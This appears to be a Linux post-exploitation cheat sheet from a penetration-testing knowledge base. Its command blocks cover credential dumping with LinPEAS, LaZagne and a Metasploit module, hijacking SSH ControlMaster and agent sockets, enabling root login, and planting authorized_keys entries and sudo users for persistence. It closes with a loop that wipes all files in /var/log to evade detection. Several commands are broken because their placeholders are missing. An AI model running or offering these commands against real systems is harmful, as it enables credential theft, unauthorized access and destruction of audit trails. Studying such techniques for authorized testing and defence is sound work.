# Post exploitation ### Credentials dumping **Automated credentials harvesting** The `LinPEAS` shell script and the `LaZagne` Python script (also provided as a standalone binary) can be used to harvest credentials locally stored on a Linux system. While more geared toward local privilege escalation, `LinPEAS` includes a number of credentials searches and is complimentary to `LaZagne`. ``` linpeas.sh -s -a lazagne_linux all ``` **SSH keys exfiltration** The metasploit module post/multi/gather/ssh\_creds will collect the contents of all users' .ssh directories on the targeted machine. Additionally, known\_hosts and authorized\_keys and any other files are also downloaded. ``` msf > use post/multi/gather/ssh_creds ``` Lateral movement through SSH brute force is possible using private SSH keys, refer to the \[L7] SSH note. ### SSH hijacking Established SSH sessions can be hijacked to move laterally using the hijacked user identity with out knowledge of its password or private key. If SSH connection multiplexing, using the `ControlMaster` feature, or `Agent forwarding` are enabled, the SSH sessions stored on the compromised system can be hijacked: * connection multiplexing allows for the hijacking of SSH connections made from the compromised host * `Agent forwarding` allows for the hijacking of SSH connections made to the remote host **Prerequisites** *ControlMaster* The SSH `ControlMaster` feature permits the multiplexing, the ability to send more than one signal over a single line or connection, of SSH connections. The feature can be enabled and configured both in global or local `ssh_config`: `/etc/ssh/ssh_config` or `~/.ssh/config`. Note that `ControlMaster` is enabled by default. If enabled, a control socket will be created on the file system and will be reused for future connections of the given user to the remote host with out needing a re-authentication. Control sockets are stored at the location specified by the `ControlPath` directive. The directive `ControlPath /tmp/ssh-%r@%h:%p` for example will result in control sockets stored in `/tmp`: `/tmp/ssh-XXXXXXXXXXXX`. Note that control sockets will be removed automatically after the master connection has ended if the `ControlPersist` directive is not configured. Otherwise, if `ControlPersist` is specified and set to: * `yes`, then the master connection will remain open in the background to accept new connections until either killed explicitly or closed with -O ; * a time, then the master connection will remain open for the designated time or until the last multiplexed session is closed. The `ControlMaster` feature can be enabled using the following commands: ``` # under Host *, which can be added if needed echo "Host *" >> /etc/ssh/ssh_config echo " ControlMaster auto" >> /etc/ssh/ssh_config echo " ControlPersist yes echo " ControlPath /tmp/ssh-%r@%h:%p ``` *Agent authentication and forwarding* `ssh-agent` is an helper program that implements an authentication mechanism used by `OpenSSH` as a form of SSO. The programs will hold in memory private keys used for public key authentication so that SSH connections can be made using the agent directly in order to avoid re entering the private key password for each connection. For interfacing with the `ssh` client, the agent provides a UNIX socket at `/tmp/ssh-/agent.` and publishes it in the `SSH_AUTH_SOCK` environment variable. When `Agent Forwarding` is enabled client-side, either using the `AgentForward` flag or calling `ssh` with the `-A` option, an SSH agent will be kept on the remote system accessed in SSH. This allows for a second connection, using SSH, from this first remote system to a second, or multiple, remote systems with out the need to deploy the private keys on the first remote system.\ The UNIX socket at `/tmp/ssh-/agent.` will thus be available on the first remote system. Given sufficient permissions on the compromised system, such as `root` privileges, the socket agent can be hijacked in order to make SSH connection under the identity of the user running `ssh-agent` with out the need to have access to its private key (or know its private key password). **Connected SSH connections** While there is not direct and explicit way of showing all connected SSH connections, multiples commands can be used to enumerate active and past SSH connections using current process, `TTY` sessions or active network connections. Note that `w` / `who` and `lastlog` will show all the `TTY` sessions including the terminal and SSH sessions. As the terminal and SSH connections both create a pseudo-terminal device `pts`, the utility can't be used to distinguish them. The `pspy` tool can be used to monitor short lived SSH connections that could be made using automated utilities to remotely execute commands. ``` # Processes # sshd: @pts/1 pgrep -ai sshd ps auxwww | grep sshd: # Network connections # Retrieve sshd port and then established network connection from the port, as shown in the example below # 0.0.0.0:22 0.0.0.0:* LISTEN 10/sshd # x.x.x.x:22 x.x.x.x:40302 ESTABLISHED netstat -anop # Active connections w 2>/dev/null who -a # Last connections lastlog 2>/dev/null |grep -v "Never" # sshd logs cat /var/log/sshd.log | grep session cat /var/log/sshd.log | grep session | grep # Short lived SSH connections pspy pspy64 ``` If present, the control sockets should be accessible in the folder specified by the `ControlPath` directive in the global or local `ssh_config`. **Hijack an SSH connection** The following commands can be used to hijack an SSH agent deployed on the compromised server using `Agent forwarding`. In order the find the username, PID and remote host of the SSH agent on the compromised system, the commands above can be used. ``` # pgrep / ps to find the PID of running sshd process # netstat to identify the connection origin # grep SSH_AUTH_SOCK /proc//environ to retrieve the corresponding agent socket export SSH_AUTH_SOCK="/tmp//" ssh -p @ ``` ### Manage #### SSH server deployment / configuration **SSH server installation / start** The following commands can be used to check whether an `SSH` server is already running on the system: ``` # Ubuntu / Debian / RedHat / CentOS / Fedora # Retrieves the status of the ssh service on the system if the service is installed. sudo systemctl status ssh # Lists the processes running on the system and searches for processes related to SSH. ps aux | grep -i ssh # Lists the listening services. netstat -laputen ``` If no `SSH` service is currently running, an `SSH` server (such as `openssh-server`) may still be installed on the targeted system: ``` # Ubuntu / Debian dpkg -l | grep -i ssh # RedHat / CentOS / Fedora rpm -qa | grep -i ssh ``` If a `SSH` service is installed, it can be started using `systemctl`: ``` # Ubuntu / Debian / RedHat / CentOS systemctl start ssh systemctl restart ssh systemctl stop ssh ``` **SSH server configuration to allow authentication** In order to allow login, the configuration file of the `SSH` daemon (`SSHD`), usually located in `/etc/ssh/sshd_config`, may need to be modified to allow login of `root` or others users: ``` # SSHD config file. # Allow login of the root account. # If "AllowUsers" is defined further in the configuration file, it must specify "root" otherwise the root account will not be able to login (despite setting PermitRootLogin to yes). # without-password: require login using an SSH key for the root account. PermitRootLogin # AllowUsers # If specified with arguments, login are restricted to the define users. # By default, AllowUsers is not specified and login is allowed for all users. AllowUsers > ``` **SSH Key Pair generation and deployment** On Linux operating systems, the `ssh-keygen` utility can be used to generate a key pair for `SSH` access: ``` # Generates a public (OUTPUT_FILE_PREFIX.pub) / private (OUTPUT_FILE_PREFIX) RSA key pair. ssh-keygen -t rsa -b 4096 -f # If necessary, set the required permissions on the key pair files. The following permissions should normally be set by default upon generation using ssh-keygen. chmod 644 chmod 600 ``` After generation, the public key should be added in the `authorized_keys` file of the associated user (for example, the `/root/.ssh/authorized_keys` file for the root user). The `ssh-copy-id` utility can be used to automate the process, if authentication information of the targeted user are already known. ``` # Manual approach. echo "" >> /root/.ssh/authorized_keys echo "" >> /.ssh/authorized_keys # Automated approach using ssh-copy-id ssh-copy-id -i @ ``` ### Persistence **Add local user with SUDOERS privileges** ``` adduser # RedHat / CentOS / Fedora passwd ``` ### Defence evasion by logs clearing It is advised to never directly delete the logs files, as it may cause operational issues with the demons using the log files. It is instead recommended to empty the files while preserving the files themselves. This can be achieved with the following commands: ``` # Empty the specified log file. cat /dev/null > # Recursively empty all the files in the /var/log directory. for i in $(find /var/log -type f); do cat /dev/null > $i; done ``` *** ### References